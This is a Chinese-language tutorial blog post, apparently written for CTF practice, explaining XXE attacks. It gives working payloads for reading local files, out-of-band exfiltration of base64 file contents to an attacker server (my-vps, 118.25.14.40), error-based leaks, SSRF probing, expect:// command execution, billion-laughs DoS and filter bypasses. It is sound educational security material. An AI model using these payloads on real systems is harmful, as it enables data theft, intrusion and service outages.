XXE

exp3n5ive Lv1

XXE

前置知识

XML

XML 是一种用于描述数据结构的标记语言(eXtensible Markup Language)

它使用标签对来标识数据的开始和结束,并且数据是以树状结构组织的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?xml version="1.0" encoding="UTF-8"?>

<!-- 下面声明了命名空间,并指定了XML Schema的文件位置 -->
<library xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="library.xsd">

<!-- book 包含属性 genre 和 id,表示书的类型和唯一标识符 -->
<book genre="Science Fiction" id="b1">

<!-- CDATA 用于包含特殊字符的内容,如书名中包含的单引号 -->
<title><![CDATA[The Hitchhiker's Guide to the Galaxy]]></title>
<author>Douglas Adams</author>

<!-- 自封闭标签 -->
<publication year="1979"/>
</book>
</library>

DTD

DTD 是用于定义XML文档结构的一个标准(Document Type Definition)

DTD 语法:

1
2
3
4
<!-- 内部实体 -->
<!DOCTYPE 根元素 [
<!ENTITY 实体 "实体的值">
]>
1
2
3
4
<!-- 外部实体 -->
<!DOCTYPE 根元素 [
<!ENTITY 外部实体名称 SYSTEM "URI">
]>
1
2
3
4
5
<!-- 参数实体 -->
<!DOCTYPE 根元素 [
<!ENTITY % 参数实体名称 "实体内容">
参数实体引用 <!-- 形式为:%参数实体名称; -->
]>

参数实体本质上就是定义了一个字符串变量,可以在DTD中随时调用和插入。它允许你将常用的片段或内容模型封装为一个变量,并在需要的地方引用它。这有助于减少重复,提升可维护性

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE library [
<!-- 内部实体 -->
<!ENTITY author "Douglas Adams">

<!-- 参数实体 -->
<!ENTITY % bookContent "title, author, publication">

<!-- 元素声明 -->
<!ELEMENT library (book+)>
<!ELEMENT book (%bookContent;)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT publication EMPTY>

<!-- 属性声明 -->
<!ATTLIST publication year CDATA #REQUIRED>

<!-- 外部实体 -->
<!ENTITY logo SYSTEM "logo.gif">
]>

<library>
<book>
<title>The Hitchhiker's Guide to the Galaxy</title>
<author>&author;</author>
<publication year="1979"/>
</book>

<!-- 使用外部实体 -->
<logo>&logo;</logo>
</library>

漏洞原理

XXE 漏洞利用了 XML 解析器对外部实体的处理能力,允许攻击者插入恶意外部实体以读取服务器上的敏感文件或访问内部服务,示例:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

任意文件读取

有回显

直接通过 file 协议读取文件

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<user>
<username>
&xxe;
</username>
<password>
123
</password>
</user>

引入外部恶意参数实体

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
%file;
]>
<test>&xxe;</test>

hack.dtd 内容:

1
<!ENTITY xxe SYSTEM 'file:///etc/passwd'>

无回显

OOB(Out-of-Band)

  • 先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的vps
1
2
3
4
5
6
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=xxx">
<!ENTITY % dtd SYSTEM "http://my-vps/evil.dtd">
%dtd;
%send;
]>
  • evil.dtd 的内容,内部的%号要进行实体编码成 &#x25;
1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://my-vps/?data=%file;'>"
>
%all;
  • 访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据

流程讲解

  1. 生成 %file,其值为目标文件内容经过base64编码后的数据
  2. 下载外部 dtd
  3. 引用外部 dtd
  4. 引用外部 dtd 中的 send 实体,将 %file; 的内容以GET的方式作为 data 的值发送给 vps

报错注入

前提是会有报错消息

  • 引入服务器文件
1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://my-vps/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>
  • 服务器文件
1
2
3
<!-- xml.dtd -->
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;

流程讲解

  1. 下载外部 dtd
  2. 生成 %file,其值为目标文件内容经过base64编码后的数据
  3. 引用外部 dtd
  4. 引用外部 dtd 中的 send 实体,请求 file:///hhhhhhh/%file;
  5. 因为这是一个错误的 url 所以会报错
  6. 报错信息中会写 Error: Could not open file 'file:///hhhhhh/...'

因为我们刚才将目标文件的内容连接在url里面了,于是报错信息中就显示出来了

可以直接这样:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error; <!-- 没有这句应该也行 -->

请注意,外部DTD允许我们在第二个(eval)中包含一个实体,但在内部DTD中是禁止的。因此,在不允许使用外部DTD的情况下(通常)强制执行错误是行不通的

基于报错的三层嵌套参数实体XXE

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%para;
]>
<message>10</message>
编码 符号 编码 符号
&#x25; % &#x26; &
&#x27; &#x26;#x25; %

流程讲解

  1. para1 = “file:///flag”
  2. para = ‘<!ENTITY … &#x25;para2;’
  3. 引用实体 para
  4. 引用实体 para2
  5. 实体 error 被赋值为 file:///flag{th1s_15_fl4g}
  6. 报错得到 flag

内网探测

本质一样,只是把 url 换成网址

XXE 可以与SSRF(服务端请求伪造) 漏洞一起用于探测其它内网主机的信息,基于http协议

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt">
]>
<foo>&xxe;</foo>

当然也可以用来探测端口信息,根据响应包的信息,若非“connection refused”则表示该端口可能是开放的

RCE

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect 模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "expect://id">
]>
<catalog>
<core>
<author>
John, Doe
</author>
<description>
&xxe;
</description>
</core>
</catalog>

响应:

1
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

DDOS

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

如果 XML 解析器尝试使用/dev/random文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃

Bypass

ENTITY SYSTEM file关键词被过滤

使用编码方式绕过:UTF-16BE

1
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

http 被过滤

  • 可以用 data://协议绕过
1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> ">
%a;
%b;
]>
<test>&hhh;</test>
  • file:// 协议加 文件上传
1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
1
2
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
  • php://filter 协议加 文件上传
1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>
1
2
<!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>

还可以进行编码

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>
1
2
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

利用场景

svg

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

从当前文件夹读取文件可以使用/proc/self/cwd


Excel

利用EXCEL进行XXE攻击
首先用excel创建一个空白的xlsx,然后解压

1
2
mkdir XXE && cd XXE
unzip ../XXE.xlsx

[Content_Types].xml改成恶意xml,再压缩回去

1
zip -r ../poc.xlsx *
  • Title: XXE
  • Author: exp3n5ive
  • Created at : 2024-09-03 15:23:01
  • Updated at : 2024-09-03 15:23:44
  • Link: https://redefine.ohevan.com/2024/09/03/XXE/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments